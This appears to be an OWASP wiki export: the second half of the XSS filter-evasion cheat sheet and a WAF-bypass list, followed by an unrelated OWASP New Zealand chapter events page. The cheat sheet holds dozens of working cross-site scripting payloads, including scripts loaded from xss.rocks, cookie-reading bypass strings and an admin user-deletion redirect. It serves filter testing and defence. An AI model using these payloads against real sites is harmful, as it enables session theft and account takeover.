<nowiki><TABLE><TD BACKGROUND="javascript:alert('XSS')"></nowiki><br />
<br />
== DIV ==<br />
<br />
=== DIV background-image===<br />
<nowiki><DIV STYLE="background-image: url(javascript:alert('XSS'))"></nowiki><br />
<br />
=== DIV background-image with unicoded XSS exploit ===<br />
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:<br />
<br />
&lt;DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"&gt;<br />
<br />
=== DIV background-image plus extra characters ===<br />
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):<br />
<br />
<nowiki><DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"></nowiki><br />
<br />
=== DIV expression === <br />
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":<br />
<nowiki><DIV STYLE="width: expression(alert('XSS'));"></nowiki><br />
<br />
== Downlevel-Hidden block ==<br />
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:<br />
<br />
<nowiki><!--[if gte IE 4]><br />
<SCRIPT>alert('XSS');</SCRIPT><br />
<![endif]--></nowiki><br />
<br />
== BASE tag ==<br />
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):<br />
<nowiki><BASE HREF="javascript:alert('XSS');//"></nowiki><br />
<br />
== OBJECT tag ==<br />
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:<br />
<br />
<nowiki><OBJECT TYPE="text/x-scriptlet" DATA="http:&#47;&#47;xss.rocks/scriptlet.html"></OBJECT></nowiki><br />
<br />
== Using an EMBED tag you can embed a Flash movie that contains XSS ==<br />
Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:<br />
<nowiki>EMBED SRC="http:&#47;&#47;ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:<br />
org/xss.swf" AllowScriptAccess="always"></EMBED></nowiki><br />
<br />
== You can EMBED SVG which can contain your XSS vector ==<br />
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.<br />
<nowiki><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED></nowiki><br />
<br />
== Using ActionScript inside flash can obfuscate your XSS vector ==<br />
<br />
<nowiki>a="get";<br />
b="URL(\"";<br />
c="javascript:";<br />
d="alert('XSS');\")";<br />
eval(a+b+c+d);</nowiki><br />
<br />
== XML data island with CDATA obfuscation ==<br />
This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:<br />
<br />
<nowiki><XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></XML><br />
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></nowiki><br />
<br />
== Locally hosted XML with embedded JavaScript that is generated using an XML data island ==<br />
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:<br />
<br />
<nowiki><XML SRC="xsstest.xml" ID=I></XML><br />
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></nowiki><br />
<br />
== HTML+TIME in XML ==<br />
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:<br />
<nowiki><HTML><BODY><br />
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><br />
<?import namespace="t" implementation="#default#time2"><br />
<t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;"><br />
</BODY></HTML></nowiki><br />
<br />
<br />
== Assuming you can only fit in a few characters and it filters against ".js" ==<br />
you can rename your JavaScript file to an image as an XSS vector:<br />
<nowiki><SCRIPT SRC="http:&#47;&#47;xss.rocks/xss.jpg"></SCRIPT></nowiki><br />
<br />
<br />
== SSI (Server Side Includes)== <br />
This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:<br />
<nowiki><!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"--></nowiki><br />
<br />
<br />
== PHP ==<br />
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:<br />
<br />
<nowiki><? echo('<SCR)';<br />
echo('IPT>alert("XSS")</SCRIPT>'); ?></nowiki><br />
<br />
<br />
== IMG Embedded commands ==<br />
This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:<br />
<nowiki><IMG SRC="http:&#47;&#47;www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"></nowiki><br />
<br />
<br />
=== IMG Embedded commands part II ===<br />
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &lt;IMG SRC="httx://badguy.com/a.jpg"&gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):<br />
<br />
<nowiki>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser</nowiki><br />
<br />
== Cookie manipulation ==<br />
Admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):<br />
<br />
<nowiki><META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;"></nowiki><br />
<br />
== UTF-7 encoding ==<br />
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.: <br />
<nowiki><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</nowiki><br />
<br />
== XSS using HTML quote encapsulation ==<br />
This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i":<br />
<nowiki><SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki><br />
<br />
For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):<br />
<nowiki><SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki><br />
<br />
Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":<br />
<br />
<nowiki><SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki><br />
<br />
Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):<br />
<nowiki><SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki><br />
<br />
And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):<br />
<nowiki><SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki><br />
<br />
Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:<br />
<nowiki><SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki><br />
<br />
This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:<br />
<br />
<nowiki><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki><br />
<br />
== URL string evasion ==<br />
Assuming "http:&#47;&#47;www.google.com/" is pro grammatically disallowed:<br />
<br />
=== IP verses hostname ===<br />
<nowiki><A HREF="http:&#47;&#47;66.102.7.147/">XSS</A></nowiki><br />
<br />
=== URL encoding ===<br />
<nowiki><A HREF="http:&#47;&#47;%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A></nowiki><br />
<br />
=== Dword encoding ===<br />
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):<br />
<nowiki><A HREF="http:&#47;&#47;1113982867/">XSS</A></nowiki><br />
<br />
=== Hex encoding ===<br />
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):<br />
<nowiki><A HREF="http:&#47;&#47;0x42.0x0000066.0x7.0x93/">XSS</A></nowiki><br />
<br />
=== Octal encoding ===<br />
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:<br />
<nowiki><A HREF="http:&#47;&#47;0102.0146.0007.00000223/">XSS</A></nowiki><br />
<br />
=== Mixed encoding === <br />
Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:<br />
<br />
<nowiki><A HREF="h<br />
tt p://6&#9;6.000146.0x7.147/">XSS</A></nowiki><br />
<br />
=== Protocol resolution bypass ===<br />
(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.<br />
<nowiki><A HREF="//www.google.com/">XSS</A></nowiki><br />
<br />
=== Google "feeling lucky" part 1. ===<br />
Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0. <br />
<br />
<nowiki><A HREF="//google">XSS</A></nowiki><br />
<br />
=== Google "feeling lucky" part 2.===<br />
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:<br />
<nowiki><A HREF="http:&#47;&#47;ha.ckers.org@google">XSS</A></nowiki><br />
<br />
=== Google "feeling lucky" part 3. === <br />
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):<br />
<nowiki><A HREF="http:&#47;&#47;google:ha.ckers.org">XSS</A></nowiki><br />
<br />
=== Removing cnames ===<br />
When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):<br />
<nowiki><A HREF="http:&#47;&#47;google.com/">XSS</A></nowiki><br />
<br />
=== Extra dot for absolute DNS:===<br />
<nowiki><A HREF="http:&#47;&#47;www.google.com./">XSS</A></nowiki><br />
<br />
=== JavaScript link location: ===<br />
<nowiki><A HREF="javascript:document.location='http://www.google.com/'">XSS</A></nowiki><br />
<br />
=== Content replace as attack vector ===<br />
Assuming "http:&#47;&#47;www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java&#x26;#x09;script:" was converted into "java&#x09;script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):<br />
<nowiki><A HREF="http://www.google.com/ogle.com/">XSS</A></nowiki><br />
<br />
== Character escape sequences ==<br />
All the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.<br />
<br />
<<br />
%3C<br />
&amp;lt<br />
&amp;lt;<br />
&amp;LT<br />
&amp;LT;<br />
&amp;#60<br />
&amp;#060<br />
&amp;#0060<br />
&amp;#00060<br />
&amp;#000060<br />
&amp;#0000060<br />
&amp;#60;<br />
&amp;#060;<br />
&amp;#0060;<br />
&amp;#00060;<br />
&amp;#000060;<br />
&amp;#0000060;<br />
&amp;#x3c<br />
&amp;#x03c<br />
&amp;#x003c<br />
&amp;#x0003c<br />
&amp;#x00003c<br />
&amp;#x000003c<br />
&amp;#x3c;<br />
&amp;#x03c;<br />
&amp;#x003c;<br />
&amp;#x0003c;<br />
&amp;#x00003c;<br />
&amp;#x000003c;<br />
&amp;#X3c<br />
&amp;#X03c<br />
&amp;#X003c<br />
&amp;#X0003c<br />
&amp;#X00003c<br />
&amp;#X000003c<br />
&amp;#X3c;<br />
&amp;#X03c;<br />
&amp;#X003c;<br />
&amp;#X0003c;<br />
&amp;#X00003c;<br />
&amp;#X000003c;<br />
&amp;#x3C<br />
&amp;#x03C<br />
&amp;#x003C<br />
&amp;#x0003C<br />
&amp;#x00003C<br />
&amp;#x000003C<br />
&amp;#x3C;<br />
&amp;#x03C;<br />
&amp;#x003C;<br />
&amp;#x0003C;<br />
&amp;#x00003C;<br />
&amp;#x000003C;<br />
&amp;#X3C<br />
&amp;#X03C<br />
&amp;#X003C<br />
&amp;#X0003C<br />
&amp;#X00003C<br />
&amp;#X000003C<br />
&amp;#X3C;<br />
&amp;#X03C;<br />
&amp;#X003C;<br />
&amp;#X0003C;<br />
&amp;#X00003C;<br />
&amp;#X000003C;<br />
\x3c<br />
\x3C<br />
\u003c<br />
\u003C<br />
<br><br />
= Methods to Bypass WAF – Cross-Site Scripting =<br />
<br />
General issues<br><br />
• Stored XSS<br />
<br />
If an attacker managed to push XSS through the filter, WAF wouldn’t be able to prevent the attack conduction.<br><br />
• Reflected XSS in Javascript<br />
Example: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script><br />
Exploitation: /?xss=500); alert(document.cookie);//<br />
• DOM-based XSS<br />
Example: <script> ... eval($_GET[xss]); ... </script><br />
Exploitation: /?xss=document.cookie<br />
<b>XSS via request Redirection.</b><br><br />
• Vulnerable code:<br />
...<br />
header('Location: '.$_GET['param']);<br />
...<br />
As well as:<br />
...<br />
header('Refresh: 0; URL='.$_GET['param']);<br />
...<br />
• This request will not pass through the WAF:<br />
/?param=javascript:alert(document.cookie)<br />
• This request will pass through the WAF and an XSS attack will be conducted in certain browsers.<br />
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=<br><br />
<b>WAF ByPass Strings for XSS.</b><br />
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS"><br />
<Video> <source onerror = "javascript: alert (XSS)"><br />
<Input value = "XSS" type = text><br />
<applet code="javascript:confirm(document.cookie);"><br />
<isindex x="javascript:" onmouseover="alert(XSS)"><br />
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><br />
"><img src="x:x" onerror="alert(XSS)"><br />
"><iframe src="javascript:alert(XSS)"><br />
<object data="javascript:alert(XSS)"><br />
<isindex type=image src=1 onerror=alert(XSS)><br />
<img src=x:alert(alt) onerror=eval(src) alt=0><br />
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img><br />
<iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>"><br />
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/><br />
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script<br />
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)"><br />
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;><br />
<form><a href="javascript:\u0061lert&#x28;1&#x29;">X<br />
</script><img/*%00/src="worksinchrome&colon;prompt&#x28;1&#x29;"/%00*/onerror='eval(src)'><br />
<style>//<!--</style> -->*{x:expression(alert(/xss/))}//<style></style> <br />
==Filter Bypass Alert Obfuscation==<br />
(alert)(1)<br />
a=alert,a(1)<br />
[1].find(alert)<br />
top[“al”+”ert”](1)<br />
top[/al/.source+/ert/.source](1)<br />
al\u0065rt(1)<br />
top[‘al\145rt’](1)<br />
top[‘al\x65rt’](1)<br />
top[8680439..toString(30)](1)<br />
<br />
= Authors and Primary Editors =<br />
<br />
Robert "RSnake" Hansen<br />
<br />
= Contributors =<br />
<br />
Adam Lange<br/><br />
Mishra Dhiraj<br />
<br />
= Other Cheatsheets =<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
[[Category:Cheatsheets]]<br />
[[Category:Popular]]<br />
[[Category:OWASP_Breakers]]<br />
{{TOC hidden}}</div>Dan Wallishttps://wiki.owasp.org/index.php?title=New_Zealand&diff=232498New Zealand2017-08-23T03:21:57Z<p>Dan Wallis: Adding OWASP NZ Day 2018</p>
<hr />
<div>{{Chapter Template|chaptername=New_Zealand|extra=The chapter leaders are [mailto:denis.andzakovic@owasp.org Denis Andzakovic], [mailto:kim.carter@owasp.org Kim Carter] and [mailto:kirk.jackson@owasp.org Kirk Jackson]. |mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-newzealand|emailarchives=http://lists.owasp.org/pipermail/owasp-newzealand}}<br />
<br />
[[Category:OWASP Chapter]]<br />
<br />
== Upcoming Events ==<br />
; 16 Feb 2018<br />
OWASP NZ Day 2018 will be held on Friday the 16th of February 2018 at the University of Auckland School of Business.<br />
[https://twitter.com/owaspnz/status/894717486376951810 Source.]<br />
<br />
== Past Events ==<br />
<br />
; 31 July 2017<br />
[https://www.meetup.com/OWASP-New-Zealand-Chapter-Wellington/events/241187473/ OWASP NZ Wellington Meetup page]<br />
: '''Presentation:''' What is Cross-Site Request Forgery?<br />
: '''Video:''' [https://www.youtube.com/watch?v=G1aLGaMqnm0]<br />
: '''Location:''' Wellington<br />
: '''Presented By:''' Vales Bakaitis<br />
<br />
; 29 May 2017<br />
[https://www.meetup.com/OWASP-New-Zealand-Chapter-Wellington/events/239202702/ OWASP NZ Wellington Meetup page]<br />
: '''Presentation:''' Developer's Guide to Preventing XSS<br />
: '''Video:''' [https://www.youtube.com/watch?v=0J5Rpf3nNjU]<br />
: '''Location:''' Wellington<br />
: '''Presented By:''' Felix Shi<br />
<br />
<br />
;19th and 20th of April 2017<br />
<br />
[https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2017 https://www.owasp.org/images/6/63/OWASP_NZ_Day_2017_logo.jpg]<br><br><br />
<br />
At the University of Auckland School of Business<br />
<br />
'''Gold Sponsors:'''<br />
<table width="100%" border="0" cellspacing="7" cellpadding="0"><br />
<tr><br />
<td><center>[http://www.security-assessment.com https://www.owasp.org/images/4/41/SA_Logo_w_DD.gif]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td><center>[http://www.insomniasec.com https://www.owasp.org/images/e/ef/INSOMNIA.PNG]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td><center>[http://www.aurainfosec.com/ https://www.owasp.org/images/e/ef/Aura_PBK_Colour.jpg]</center></td><br />
</tr><br />
<tr><br />
<td><center>[https://www.redshield.co/ https://www.owasp.org/images/a/ab/Redshield.png]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td><center>[http://www.zxsecurity.co.nz/ https://www.owasp.org/images/2/27/Zx.png]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td><center>[http://www.quantumsecurity.co.nz/ https://www.owasp.org/images/4/4e/Quantumblack3.png]</center></td><br />
</tr><br />
</table><br />
<br />
; 29 March 2017<br />
[https://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/236349292/ OWASP NZ Christchurch Meetup page]<br />
: '''PHP Hurts Programmers (and other tales)'''<br />
: '''Presented By:''' [https://twitter.com/spronkey Keith Humm]<br />
: '''Slides:''' [https://speakerdeck.com/spronkey/php-hurts-programmers-and-other-tales on speakerdeck]<br />
: '''Locations:''' Christchurch<br />
: '''Co-Sponsor:''' [http://www.catalyst.net.nz/ Catalyst]<br />
<br />
; 27 Feb 2017<br />
[https://www.meetup.com/OWASP-New-Zealand-Chapter-Wellington/events/237712167/ OWASP NZ Wellington Meetup page]<br />
: '''Presentation:''' Building the ultimate login and signup<br />
: '''Video:''' [https://www.youtube.com/watch?v=E25KxLKwY-M Youtube]<br />
: '''Location:''' Wellington<br />
: '''Presented By:''' Matt Cotterell<br />
<br />
<br />
; 29 November 2016<br />
[https://www.meetup.com/OWASP-New-Zealand-Chapter-Wellington/events/233253214/ OWASP NZ Wellington Meetup page]<br />
: '''Presentation:''' OWASP Top Ten - Developing secure web apps (PHP-flavoured)<br />
: '''Video:''' [https://www.youtube.com/watch?v=7u08zCz9viU Youtube]<br />
: '''Location:''' Wellington<br />
: '''Presented By:''' Kirk Jackson<br />
: In conjunction with the [https://www.meetup.com/PHP-Usergroup-Wellington/ PHP user group Wellington]<br />
<br />
; 10 October 2016<br />
[https://www.meetup.com/OWASP-New-Zealand-Chapter-Wellington/events/233954065/ OWASP NZ Wellington Meetup page]<br />
: '''Presentation:''' Introduction to Ruby on Rails security<br />
: '''Video:''' [https://www.youtube.com/watch?v=Hez1QYc9yo8 Youtube]<br />
: '''Locations:''' Wellington<br />
: '''Presented By:''' Tim Goddard<br />
: '''Sponsor:''' [https://www.insomniasec.com Insomnia]<br />
<br />
; 28 September 2016<br />
[https://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/232611291/ OWASP NZ Christchurch Meetup page]<br />
: '''Presentation / Demo''' Applying Cold War Learnings to our Daily OPSEC<br />
: '''DeadDrop:''' (https://deaddrop.jadeworld.com/)<br />
: '''Github:''' (https://github.com/phage-nz/deaddrop)<br />
: '''Chris's Blog Post:''' (https://bytefog.blogspot.co.nz/2015/09/burn-after-reading.html)<br />
: '''Locations:''' Christchurch<br />
: '''Presented By:''' [https://twitter.com/phage_nz Chris Campbell]<br />
: '''Co-Sponsor:''' [http://www.catalyst.net.nz/ Catalyst] and [http://blog.binarymist.net/ BinaryMist]<br />
<br />
; 29 August 2016<br />
[https://www.meetup.com/OWASP-New-Zealand-Chapter-Wellington/events/232212284/ OWASP NZ Wellington Meetup page]<br />
: '''Presentation:''' Mobile app security: Intro to the OWASP Mobile Top 10<br />
: '''Video:''' [https://www.youtube.com/watch?v=SbXO6wNvOM4 Youtube]<br />
: '''Location:''' Wellington<br />
: '''Presented By:''' Mike Haworth<br />
<br />
; 29 June 2016<br />
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/229985413/ OWASP NZ Christchurch Meetup page]<br />
: '''Presentation / Demo''' Security Regression Testing with ZapAPI and NodeGoat<br />
: '''Teaser:''' (https://youtu.be/DrwXUOJWMoo)<br />
: '''Github:''' (https://github.com/binarymist/NodeGoat/wiki/Security-Regression-Testing-with-Zap-API)<br />
: '''Sourced From:''' Kims Book (https://leanpub.com/holistic-infosec-for-web-developers/read#process-agile-development-and-practices-security-regression-testing)<br />
: '''Locations:''' Christchurch<br />
: '''Presented By:''' [https://twitter.com/binarymist Kim Carter]<br />
: '''Co-Sponsor:''' [http://www.catalyst.net.nz/ Catalyst] and [http://blog.binarymist.net/ BinaryMist]<br />
<br />
; 27 June 2016<br />
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Wellington/events/232017285/ OWASP NZ Wellington Meetup page]<br />
: '''Presentation:''' Introduction to using a web application firewall<br />
: '''Video:''' [https://www.youtube.com/watch?v=iAPFf9Iqwos Youtube]<br />
: '''Location:''' Wellington<br />
: '''Presented By:''' Graeme Neilson<br />
: '''Sponsor:''' [https://www.redshield.co RedShield]<br />
<br />
; 30 March 2016<br />
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/226227782/ OWASP NZ Christchurch Meetup page]<br />
: '''Presentation:''' Qubes OS Discussion (https://www.qubes-os.org)<br />
: '''Locations:''' Christchurch<br />
: '''Presented By:''' Craig Rowland<br />
: '''Co-Sponsor:''' [http://www.dimensiondata.com/en-NZ Dimension Data] and [http://binarymist.io/ BinaryMist Limited]<br />
<br />
== ''' 2016 ''' ==<br />
<br />
;3rd and 4th of February 2016<br />
<br />
[https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016 https://www.owasp.org/images/2/23/OWASP_NZ_Day_2016_logo.jpg]<br><br><br />
<br />
At the University of Auckland School of Commerce<br />
<br />
'''Gold Sponsors:'''<br />
<table width="100%" border="0" cellspacing="0" cellpadding="0"><br />
<tr><br />
<td><center>[[File:INSOMNIA.PNG|center|300px|link=http://www.insomniasec.com/]]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td><center>[[File:RedShield.png|center|300px|link=https://auraredshield.com/]]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td><center>[http://www.security-assessment.com https://www.owasp.org/images/4/41/SA_Logo_w_DD.gif]</center></td><br />
</tr><br />
<tr><br />
<td><center>[http://www.insomniasec.com Insomnia Security]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td><center>[https://auraredshield.com/ Aura RedShield]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td><center>[http://www.security-assessment.com www.security-assessment.com]</center></td><br />
</tr><br />
</table><br />
<br />
<br />
== ''' 2015 ''' ==<br />
<br />
; 25 November 2015<br />
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/225737100/ OWASP NZ Christchurch Meetup page]<br />
: '''Presentation:''' UAC, Governance and Managing the External Infosec Audit<br />
: '''Locations:''' Christchurch<br />
: '''Presented By:''' Drewe Hinkley<br />
: '''Co-Sponsor:''' [http://www.dimensiondata.com/en-NZ Dimension Data] and [http://binarymist.io/ BinaryMist Limited]<br />
<br />
; 30 September 2015<br />
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/223462991/ OWASP NZ Christchurch Meetup page]<br />
: '''Two part Presentation:''' The Exploited and the Exploiters - Case Study of a Real Cyber Hack and Live Demo's from [https://leanpub.com/b/holisticinfosecforwebdevelopers Kims book ]<br />
: '''Locations:''' Christchurch<br />
: '''Presented By:''' Salinda Lekamge and [https://twitter.com/binarymist Kim Carter]<br />
<br />
; 24 June 2015<br />
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/221412721/ OWASP NZ Christchurch Meetup page]<br />
: '''Presentation:''' "[http://blog.binarymist.net/presentations-publications/#does-your-cloud-solution-look-like-a-mushroom Does Your Cloud Solution Look Like a Mushroom]".<br />
: '''Locations:''' Christchurch<br />
: '''Presented By:''' [https://twitter.com/binarymist Kim Carter].<br />
: '''Co-Sponsor:''' [http://www.dimensiondata.com/en-NZ Dimension Data] and [http://binarymist.io/ BinaryMist Limited]<br />
<br />
; 25 March 2015<br />
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/219456317/ OWASP NZ Christchurch Meetup page]<br />
: '''Presentation:''' Reverse Engineering, Cracking, Compromising Software Security & Mitigations<br />
: '''Locations:''' Christchurch<br />
: '''Presented By:''' Rob Gilmour, Senior Software Engineer, Technical Support, JADE Software Corporation Ltd.<br />
: '''Co-Sponsor:''' [http://www.dimensiondata.com/en-NZ Dimension Data] and [http://binarymist.io/ BinaryMist Limited]<br />
<br />
;26th and 27th of February 2015<br />
<br />
